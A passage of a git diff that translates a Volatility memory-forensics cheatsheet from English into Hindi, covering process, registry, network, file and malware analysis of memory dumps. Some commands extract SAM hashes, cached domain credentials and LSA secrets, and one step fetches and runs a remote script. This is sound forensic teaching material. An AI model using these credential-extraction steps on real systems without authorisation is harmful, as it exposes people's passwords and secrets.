`_KDDEBUGGER_DATA64` का है, इसमें आवश्यक संदर्भ जैसे `PsActiveProcessHead` शामिल हैं। यह विशेष संदर्भ प्रक्रिया सूची के सिर की ओर इशारा करता है, जिससे सभी प्रक्रियाओं की सूची बनाना संभव होता है, जो गहन मेमोरी विश्लेषण के लिए मौलिक है। ## OS Information - ```bash #vol3 has a plugin to give OS information (note that imageinfo from vol2 will give you OS info) ./vol.py -f file.dmp windows.info.Info ``` +प्लगइन `banners.Banners` का उपयोग **vol3 में लिनक्स बैनर्स** को डंप में खोजने के लिए किया जा सकता है। -The plugin `banners.Banners` can be used in **vol3 to try to find linux banners** in the dump. +## हैश/पासवर्ड -## Hashes/Passwords - -Extract SAM hashes, [domain cached credentials](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) and [lsa secrets](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets). +SAM हैश, [डोमेन कैश की गई क्रेडेंशियल्स](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) और [lsa रहस्य](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets) निकालें। {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.hashdump.Hashdump #Grab common windows hashes (SAM+SYSTEM) ./vol.py -f file.dmp windows.cachedump.Cachedump #Grab domain cache hashes inside the registry ./vol.py -f file.dmp windows.lsadump.Lsadump #Grab lsa secrets ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 hashdump -f file.dmp #Grab common windows hashes (SAM+SYSTEM) volatility --profile=Win7SP1x86_23418 cachedump -f file.dmp #Grab domain cache hashes inside the registry volatility --profile=Win7SP1x86_23418 lsadump -f file.dmp #Grab lsa secrets ``` - {{#endtab}} {{#endtabs}} -## Memory Dump - -The memory dump of a process will **extract everything** of the current status of the process. The **procdump** module will only **extract** the **code**. +## मेमोरी डंप +एक प्रक्रिया का मेमोरी डंप वर्तमान स्थिति की **सभी चीजें** **निकालेगा**। **procdump** मॉड्यूल केवल **कोड** को **निकालेगा**। ``` volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/ ``` +## प्रक्रियाएँ -​ +### प्रक्रियाओं की सूची -
- -​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Processes - -### List processes - -Try to find **suspicious** processes (by name) or **unexpected** child **processes** (for example a cmd.exe as a child of iexplorer.exe).\ -It could be interesting to **compare** the result of pslist with the one of psscan to identify hidden processes. +**संदिग्ध** प्रक्रियाओं (नाम द्वारा) या **अप्रत्याशित** बाल **प्रक्रियाओं** (उदाहरण के लिए, iexplorer.exe का एक बाल cmd.exe) को खोजने की कोशिश करें।\ +छिपी हुई प्रक्रियाओं की पहचान करने के लिए pslist के परिणाम की psscan के साथ **तुलना** करना दिलचस्प हो सकता है। {{#tabs}} {{#tab name="vol3"}} - ```bash python3 vol.py -f file.dmp windows.pstree.PsTree # Get processes tree (not hidden) python3 vol.py -f file.dmp windows.pslist.PsList # Get process list (EPROCESS) python3 vol.py -f file.dmp windows.psscan.PsScan # Get hidden process list(malware) ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=PROFILE pstree -f file.dmp # Get process tree (not hidden) volatility --profile=PROFILE pslist -f file.dmp # Get process list (EPROCESS) volatility --profile=PROFILE psscan -f file.dmp # Get hidden process list(malware) volatility --profile=PROFILE psxview -f file.dmp # Get hidden process list ``` - {{#endtab}} {{#endtabs}} -### Dump proc +### डंप प्रोसेस {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 procdump --pid=3152 -n --dump-dir=. -f file.dmp ``` - {{#endtab}} {{#endtabs}} -### Command line +### कमांड लाइन -Anything suspicious was executed? +क्या कुछ संदिग्ध निष्पादित किया गया था? {{#tabs}} {{#tab name="vol3"}} - ```bash python3 vol.py -f file.dmp windows.cmdline.CmdLine #Display process command-line arguments ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=PROFILE cmdline -f file.dmp #Display process command-line arguments volatility --profile=PROFILE consoles -f file.dmp #command history by scanning for _CONSOLE_INFORMATION ``` - {{#endtab}} {{#endtabs}} -Commands executed in `cmd.exe` are managed by **`conhost.exe`** (or `csrss.exe` on systems before Windows 7). This means that if **`cmd.exe`** is terminated by an attacker before a memory dump is obtained, it's still possible to recover the session's command history from the memory of **`conhost.exe`**. To do this, if unusual activity is detected within the console's modules, the memory of the associated **`conhost.exe`** process should be dumped. Then, by searching for **strings** within this dump, command lines used in the session can potentially be extracted. +`cmd.exe` में निष्पादित कमांड को **`conhost.exe`** (या Windows 7 से पहले के सिस्टम पर `csrss.exe`) द्वारा प्रबंधित किया जाता है। इसका मतलब है कि यदि **`cmd.exe`** को एक हमलावर द्वारा समाप्त कर दिया जाता है इससे पहले कि एक मेमोरी डंप प्राप्त किया जाए, तो **`conhost.exe`** की मेमोरी से सत्र का कमांड इतिहास पुनर्प्राप्त करना अभी भी संभव है। ऐसा करने के लिए, यदि कंसोल के मॉड्यूल में असामान्य गतिविधि का पता लगाया जाता है, तो संबंधित **`conhost.exe`** प्रक्रिया की मेमोरी को डंप किया जाना चाहिए। फिर, इस डंप के भीतर **strings** की खोज करके, सत्र में उपयोग की गई कमांड लाइनों को संभावित रूप से निकाला जा सकता है। ### Environment -Get the env variables of each running process. There could be some interesting values. +प्रत्येक चल रही प्रक्रिया के env वेरिएबल प्राप्त करें। कुछ दिलचस्प मान हो सकते हैं। {{#tabs}} {{#tab name="vol3"}} - ```bash python3 vol.py -f file.dmp windows.envars.Envars [--pid ] #Display process environment variables ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=PROFILE envars -f file.dmp [--pid ] #Display process environment variables volatility --profile=PROFILE -f file.dmp linux_psenv [-p ] #Get env of process. runlevel var means the runlevel where the proc is initated ``` - {{#endtab}} {{#endtabs}} -### Token privileges +### टोकन विशेषाधिकार -Check for privileges tokens in unexpected services.\ -It could be interesting to list the processes using some privileged token. +अप्रत्याशित सेवाओं में विशेषाधिकार टोकन की जांच करें।\ +कुछ विशेषाधिकार प्राप्त टोकन का उपयोग करने वाले प्रक्रियाओं की सूची बनाना दिलचस्प हो सकता है। {{#tabs}} {{#tab name="vol3"}} - ```bash #Get enabled privileges of some processes python3 vol.py -f file.dmp windows.privileges.Privs [--pid ] #Get all processes with interesting privileges python3 vol.py -f file.dmp windows.privileges.Privs | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege" ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash #Get enabled privileges of some processes volatility --profile=Win7SP1x86_23418 privs --pid=3152 -f file.dmp | grep Enabled #Get all processes with interesting privileges volatility --profile=Win7SP1x86_23418 privs -f file.dmp | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege" ``` - {{#endtab}} {{#endtabs}} ### SIDs -Check each SSID owned by a process.\ -It could be interesting to list the processes using a privileges SID (and the processes using some service SID). +प्रक्रिया द्वारा स्वामित्व वाले प्रत्येक SSID की जांच करें।\ +यह कुछ सेवा SID का उपयोग करने वाली प्रक्रियाओं (और विशेषाधिकार SID का उपयोग करने वाली प्रक्रियाओं) की सूची बनाना दिलचस्प हो सकता है। {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.getsids.GetSIDs [--pid ] #Get SIDs of processes ./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 getsids -f file.dmp #Get the SID owned by each process volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp #Get the SID of each service ``` - {{#endtab}} {{#endtabs}} -### Handles +### हैंडल्स -Useful to know to which other files, keys, threads, processes... a **process has a handle** for (has opened) +जानना उपयोगी है कि किस अन्य फ़ाइलों, कुंजियों, थ्रेड्स, प्रक्रियाओं... के लिए एक **प्रक्रिया के पास एक हैंडल** है (खुला हुआ है) {{#tabs}} {{#tab name="vol3"}} - ```bash vol.py -f file.dmp windows.handles.Handles [--pid ] ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=] ``` - {{#endtab}} {{#endtabs}} ### DLLs - -{{#tabs}} -{{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.dlllist.DllList [--pid ] #List dlls used by each ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory process ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 dlllist --pid=3152 -f file.dmp #Get dlls of a proc volatility --profile=Win7SP1x86_23418 dlldump --pid=3152 --dump-dir=. -f file.dmp #Dump dlls of a proc ``` - {{#endtab}} {{#endtabs}} -### Strings per processes +### प्रक्रियाओं के लिए स्ट्रिंग्स -Volatility allows us to check which process a string belongs to. +Volatility हमें यह जांचने की अनुमति देता है कि एक स्ट्रिंग किस प्रक्रिया से संबंधित है। {{#tabs}} {{#tab name="vol3"}} - ```bash strings file.dmp > /tmp/strings.txt ./vol.py -f /tmp/file.dmp windows.strings.Strings --strings-file /tmp/strings.txt ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash strings file.dmp > /tmp/strings.txt volatility -f /tmp/file.dmp windows.strings.Strings --string-file /tmp/strings.txt @@ -419,99 +341,78 @@ volatility -f /tmp/file.dmp windows.strings.Strings --string-file /tmp/strings.t volatility -f /tmp/file.dmp --profile=Win81U1x64 memdump -p 3532 --dump-dir . strings 3532.dmp > strings_file ``` - {{#endtab}} {{#endtabs}} -It also allows to search for strings inside a process using the yarascan module: +यह एक प्रक्रिया के अंदर स्ट्रिंग्स के लिए खोजने की अनुमति भी देता है yarascan मॉड्यूल का उपयोग करके: {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.vadyarascan.VadYaraScan --yara-rules "https://" --pid 3692 3840 3976 3312 3084 2784 ./vol.py -f file.dmp yarascan.YaraScan --yara-rules "https://" ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 yarascan -Y "https://" -p 3692,3840,3976,3312,3084,2784 ``` - {{#endtab}} {{#endtabs}} ### UserAssist -**Windows** keeps track of programs you run using a feature in the registry called **UserAssist keys**. These keys record how many times each program is executed and when it was last run. +**Windows** उन प्रोग्रामों का ट्रैक रखता है जिन्हें आप चलाते हैं, एक फीचर के माध्यम से जो रजिस्ट्री में **UserAssist keys** कहलाता है। ये कीज़ रिकॉर्ड करती हैं कि प्रत्येक प्रोग्राम कितनी बार चलाया गया है और इसे आखिरी बार कब चलाया गया था। {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.registry.userassist.UserAssist ``` - {{#endtab}} {{#tab name="vol2"}} - ``` volatility --profile=Win7SP1x86_23418 -f file.dmp userassist ``` - {{#endtab}} {{#endtabs}} ​ -
-​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Services +## सेवाएँ {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.svcscan.SvcScan #List services ./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash #Get services and binary path volatility --profile=Win7SP1x86_23418 svcscan -f file.dmp #Get name of the services and SID (slow) volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp ``` - {{#endtab}} {{#endtabs}} -## Network +## नेटवर्क {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.netscan.NetScan #For network info of linux use volatility2 ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 netscan -f file.dmp volatility --profile=Win7SP1x86_23418 connections -f file.dmp#XP and 2003 only @@ -526,102 +427,84 @@ volatility --profile=SomeLinux -f file.dmp linux_arp #ARP table volatility --profile=SomeLinux -f file.dmp linux_list_raw #Processes using promiscuous raw sockets (comm between processes) volatility --profile=SomeLinux -f file.dmp linux_route_cache ``` - {{#endtab}} {{#endtabs}} -## Registry hive +## रजिस्ट्री हाइव -### Print available hives +### उपलब्ध हाइव प्रिंट करें {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.registry.hivelist.HiveList #List roots ./vol.py -f file.dmp windows.registry.printkey.PrintKey #List roots and get initial subkeys ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp hivelist #List roots volatility --profile=Win7SP1x86_23418 -f file.dmp printkey #List roots and get initial subkeys ``` - {{#endtab}} {{#endtabs}} -### Get a value +### एक मान प्राप्त करें {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.registry.printkey.PrintKey --key "Software\Microsoft\Windows NT\CurrentVersion" ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 printkey -K "Software\Microsoft\Windows NT\CurrentVersion" -f file.dmp # Get Run binaries registry value volatility -f file.dmp --profile=Win7SP1x86 printkey -o 0x9670e9d0 -K 'Software\Microsoft\Windows\CurrentVersion\Run' ``` - {{#endtab}} {{#endtabs}} -### Dump - +### डंप ```bash #Dump a hive volatility --profile=Win7SP1x86_23418 hivedump -o 0x9aad6148 -f file.dmp #Offset extracted by hivelist #Dump all hives volatility --profile=Win7SP1x86_23418 hivedump -f file.dmp ``` +## फ़ाइल प्रणाली -## Filesystem - -### Mount +### माउंट {{#tabs}} {{#tab name="vol3"}} - ```bash #See vol2 ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=SomeLinux -f file.dmp linux_mount volatility --profile=SomeLinux -f file.dmp linux_recover_filesystem #Dump the entire filesystem (if possible) ``` - {{#endtab}} {{#endtabs}} -### Scan/dump +### स्कैन/डंप {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.filescan.FileScan #Scan for files inside the dump ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --physaddr <0xAAAAA> #Offset from previous command ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 filescan -f file.dmp #Scan for files inside the dump volatility --profile=Win7SP1x86_23418 dumpfiles -n --dump-dir=/tmp -f file.dmp #Dump all files @@ -631,60 +514,50 @@ volatility --profile=SomeLinux -f file.dmp linux_enumerate_files volatility --profile=SomeLinux -f file.dmp linux_find_file -F /path/to/file volatility --profile=SomeLinux -f file.dmp linux_find_file -i 0xINODENUMBER -O /path/to/dump/file ``` - {{#endtab}} {{#endtabs}} -### Master File Table +### मास्टर फ़ाइल तालिका {{#tabs}} {{#tab name="vol3"}} - ```bash # I couldn't find any plugin to extract this information in volatility3 ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 mftparser -f file.dmp ``` - {{#endtab}} {{#endtabs}} -The **NTFS file system** uses a critical component known as the _master file table_ (MFT). This table includes at least one entry for every file on a volume, covering the MFT itself too. Vital details about each file, such as **size, timestamps, permissions, and actual data**, are encapsulated within the MFT entries or in areas external to the MFT but referenced by these entries. More details can be found in the [official documentation](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). +**NTFS फ़ाइल प्रणाली** एक महत्वपूर्ण घटक का उपयोग करती है जिसे _मास्टर फ़ाइल तालिका_ (MFT) के रूप में जाना जाता है। इस तालिका में एक वॉल्यूम पर हर फ़ाइल के लिए कम से कम एक प्रविष्टि शामिल होती है, जिसमें MFT स्वयं भी शामिल है। प्रत्येक फ़ाइल के बारे में महत्वपूर्ण विवरण, जैसे **आकार, टाइमस्टैम्प, अनुमतियाँ, और वास्तविक डेटा**, MFT प्रविष्टियों के भीतर या MFT के बाहरी क्षेत्रों में संलग्न होते हैं, लेकिन इन प्रविष्टियों द्वारा संदर्भित होते हैं। अधिक विवरण [आधिकारिक दस्तावेज़ीकरण](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table) में पाया जा सकता है। -### SSL Keys/Certs +### SSL कुंजी/प्रमाणपत्र {{#tabs}} {{#tab name="vol3"}} - ```bash #vol3 allows to search for certificates inside the registry ./vol.py -f file.dmp windows.registry.certificates.Certificates ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash #vol2 allos you to search and dump certificates from memory #Interesting options for this modules are: --pid, --name, --ssl volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp ``` - {{#endtab}} {{#endtabs}} -## Malware +## मैलवेयर {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.malfind.Malfind [--dump] #Find hidden and injected code, [dump each suspicious section] #Malfind will search for suspicious structures related to malware @@ -698,11 +571,9 @@ volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp ./vol.py -f file.dmp linux.check_modules.Check_modules #Compares module list to sysfs info, if available ./vol.py -f file.dmp linux.tty_check.tty_check #Checks tty devices for hooks ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp malfind [-D /tmp] #Find hidden and injected code [dump each suspicious section] volatility --profile=Win7SP1x86_23418 -f file.dmp apihooks #Detect API hooks in process and kernel memory @@ -718,18 +589,16 @@ volatility --profile=SomeLinux -f file.dmp linux_check_modules volatility --profile=SomeLinux -f file.dmp linux_check_tty volatility --profile=SomeLinux -f file.dmp linux_keyboard_notifiers #Keyloggers ``` - {{#endtab}} {{#endtabs}} -### Scanning with yara +### yara के साथ स्कैनिंग -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. +इस स्क्रिप्ट का उपयोग करें सभी yara मैलवेयर नियमों को github से डाउनलोड और मर्ज करने के लिए: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +_**rules**_ निर्देशिका बनाएं और इसे निष्पादित करें। यह _**malware_rules.yar**_ नामक एक फ़ाइल बनाएगा जिसमें मैलवेयर के लिए सभी yara नियम शामिल हैं। {{#tabs}} {{#tab name="vol3"}} - ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules @@ -739,193 +608,154 @@ python malware_yara_rules.py #All ./vol.py -f file.dmp yarascan.YaraScan --yara-file /tmp/malware_rules.yar ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py volatility --profile=Win7SP1x86_23418 yarascan -y malware_rules.yar -f ch2.dmp | grep "Rule:" | grep -v "Str_Win32" | sort | uniq ``` - {{#endtab}} {{#endtabs}} ## MISC -### External plugins +### बाहरी प्लगइन्स -If you want to use external plugins make sure that the folders related to the plugins are the first parameter used. +यदि आप बाहरी प्लगइन्स का उपयोग करना चाहते हैं, तो सुनिश्चित करें कि प्लगइन्स से संबंधित फ़ोल्डर पहले पैरामीटर के रूप में उपयोग किए जाते हैं। {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py --plugin-dirs "/tmp/plugins/" [...] ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash - volatilitye --plugins="/tmp/plugins/" [...] +volatilitye --plugins="/tmp/plugins/" [...] ``` - {{#endtab}} {{#endtabs}} #### Autoruns -Download it from [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) - +इसे [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) से डाउनलोड करें ``` - volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns +volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns ``` - ### Mutexes {{#tabs}} {{#tab name="vol3"}} - ``` ./vol.py -f file.dmp windows.mutantscan.MutantScan ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 mutantscan -f file.dmp volatility --profile=Win7SP1x86_23418 -f file.dmp handles -p -t mutant ``` - {{#endtab}} {{#endtabs}} -### Symlinks +### सिमलिंक {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.symlinkscan.SymlinkScan ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp symlinkscan ``` - {{#endtab}} {{#endtabs}} ### Bash -It's possible to **read from memory the bash history.** You could also dump the _.bash_history_ file, but it was disabled you will be glad you can use this volatility module +यह **मेमोरी से बैश इतिहास पढ़ना संभव है।** आप _.bash_history_ फ़ाइल को भी डंप कर सकते हैं, लेकिन यह अक्षम था, आप खुश होंगे कि आप इस वोलाटिलिटी मॉड्यूल का उपयोग कर सकते हैं। {{#tabs}} {{#tab name="vol3"}} - ``` ./vol.py -f file.dmp linux.bash.Bash ``` - {{#endtab}} {{#tab name="vol2"}} - ``` volatility --profile=Win7SP1x86_23418 -f file.dmp linux_bash ``` - {{#endtab}} {{#endtabs}} -### TimeLine +### टाइमलाइन {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp timeLiner.TimeLiner ``` - {{#endtab}} {{#tab name="vol2"}} - ``` volatility --profile=Win7SP1x86_23418 -f timeliner ``` - {{#endtab}} {{#endtabs}} -### Drivers +### ड्राइवर {{#tabs}} {{#tab name="vol3"}} - ``` ./vol.py -f file.dmp windows.driverscan.DriverScan ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp driverscan ``` - {{#endtab}} {{#endtabs}} -### Get clipboard - +### क्लिपबोर्ड प्राप्त करें ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 clipboard -f file.dmp ``` - -### Get IE history - +### IE इतिहास प्राप्त करें ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 iehistory -f file.dmp ``` - -### Get notepad text - +### नोटपैड टेक्स्ट प्राप्त करें ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 notepad -f file.dmp ``` - -### Screenshot - +### स्क्रीनशॉट ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 screenshot -f file.dmp ``` - -### Master Boot Record (MBR) - +### मास्टर बूट रिकॉर्ड (MBR) ```bash volatility --profile=Win7SP1x86_23418 mbrparser -f file.dmp ``` +**मास्टर बूट रिकॉर्ड (MBR)** एक स्टोरेज माध्यम के तार्किक विभाजन प्रबंधन में महत्वपूर्ण भूमिका निभाता है, जो विभिन्न [फाइल सिस्टम](https://en.wikipedia.org/wiki/File_system) के साथ संरचित होते हैं। यह न केवल विभाजन लेआउट जानकारी रखता है बल्कि एक निष्पादन योग्य कोड भी शामिल करता है जो बूट लोडर के रूप में कार्य करता है। यह बूट लोडर या तो सीधे OS के दूसरे चरण के लोडिंग प्रक्रिया को प्रारंभ करता है (देखें [दूसरा चरण बूट लोडर](https://en.wikipedia.org/wiki/Second-stage_boot_loader)) या प्रत्येक विभाजन के [वॉल्यूम बूट रिकॉर्ड](https://en.wikipedia.org/wiki/Volume_boot_record) (VBR) के साथ सामंजस्य में काम करता है। गहन ज्ञान के लिए, [MBR विकिपीडिया पृष्ठ](https://en.wikipedia.org/wiki/Master_boot_record) देखें। -The **Master Boot Record (MBR)** plays a crucial role in managing the logical partitions of a storage medium, which are structured with different [file systems](https://en.wikipedia.org/wiki/File_system). It not only holds partition layout information but also contains executable code acting as a boot loader. This boot loader either directly initiates the OS's second-stage loading process (see [second-stage boot loader](https://en.wikipedia.org/wiki/Second-stage_boot_loader)) or works in harmony with the [volume boot record](https://en.wikipedia.org/wiki/Volume_boot_record) (VBR) of each partition. For in-depth knowledge, refer to the [MBR Wikipedia page](https://en.wikipedia.org/wiki/Master_boot_record). - -## References +## संदर्भ - [https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/](https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/) - [https://scudette.blogspot.com/2012/11/finding-kernel-debugger-block.html](https://scudette.blogspot.com/2012/11/finding-kernel-debugger-block.html) @@ -933,10 +763,4 @@ The **Master Boot Record (MBR)** plays a crucial role in managing the logical pa - [https://www.aldeid.com/wiki/Windows-userassist-keys](https://www.aldeid.com/wiki/Windows-userassist-keys) ​\* [https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table](https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table) - [https://answers.microsoft.com/en-us/windows/forum/all/uefi-based-pc-protective-mbr-what-is-it/0fc7b558-d8d4-4a7d-bae2-395455bb19aa](https://answers.microsoft.com/en-us/windows/forum/all/uefi-based-pc-protective-mbr-what-is-it/0fc7b558-d8d4-4a7d-bae2-395455bb19aa) -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md index 9ac27c92e..037f31073 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -4,96 +4,94 @@ ## Partitions -A hard drive or an **SSD disk can contain different partitions** with the goal of separating data physically.\ -The **minimum** unit of a disk is the **sector** (normally composed of 512B). So, each partition size needs to be multiple of that size. +एक हार्ड ड्राइव या **SSD डिस्क में विभिन्न विभाजन हो सकते हैं** जिनका उद्देश्य डेटा को भौतिक रूप से अलग करना है।\ +डिस्क की **न्यूनतम** इकाई **क्षेत्र** है (सामान्यतः 512B से बनी होती है)। इसलिए, प्रत्येक विभाजन का आकार उस आकार का गुणांक होना चाहिए। -### MBR (master Boot Record) +### MBR (मास्टर बूट रिकॉर्ड) -It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate to the PC what and from where a partition should be mounted.\ -It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\ -MBR allows **max 2.2TB**. +यह **446B बूट कोड के बाद डिस्क के पहले क्षेत्र में आवंटित** होता है। यह क्षेत्र पीसी को यह संकेत देने के लिए आवश्यक है कि एक विभाजन को क्या और कहाँ माउंट किया जाना चाहिए।\ +यह **4 विभाजनों** तक की अनुमति देता है (अधिकतम **केवल 1** सक्रिय/**बूट करने योग्य** हो सकता है)। हालाँकि, यदि आपको अधिक विभाजन की आवश्यकता है, तो आप **विस्तारित विभाजन** का उपयोग कर सकते हैं। इस पहले क्षेत्र का **अंतिम बाइट** बूट रिकॉर्ड सिग्नेचर **0x55AA** है। केवल एक विभाजन को सक्रिय के रूप में चिह्नित किया जा सकता है।\ +MBR **अधिकतम 2.2TB** की अनुमति देता है। ![](<../../../images/image (350).png>) ![](<../../../images/image (304).png>) -From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Signature** (if Windows is used). The logical drive letter of the hard disk depends on the Windows Disk Signature. Changing this signature could prevent Windows from booting (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. +**MBR के 440 से 443 बाइट्स** में आप **Windows डिस्क सिग्नेचर** पा सकते हैं (यदि Windows का उपयोग किया गया है)। हार्ड डिस्क का तार्किक ड्राइव लेटर Windows डिस्क सिग्नेचर पर निर्भर करता है। इस सिग्नेचर को बदलने से Windows बूट करने में विफल हो सकता है (उपकरण: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**। ![](<../../../images/image (310).png>) -**Format** +**फॉर्मेट** -| Offset | Length | Item | +| ऑफसेट | लंबाई | आइटम | | ----------- | ---------- | ------------------- | -| 0 (0x00) | 446(0x1BE) | Boot code | -| 446 (0x1BE) | 16 (0x10) | First Partition | -| 462 (0x1CE) | 16 (0x10) | Second Partition | -| 478 (0x1DE) | 16 (0x10) | Third Partition | -| 494 (0x1EE) | 16 (0x10) | Fourth Partition | -| 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA | +| 0 (0x00) | 446(0x1BE) | बूट कोड | +| 446 (0x1BE) | 16 (0x10) | पहला विभाजन | 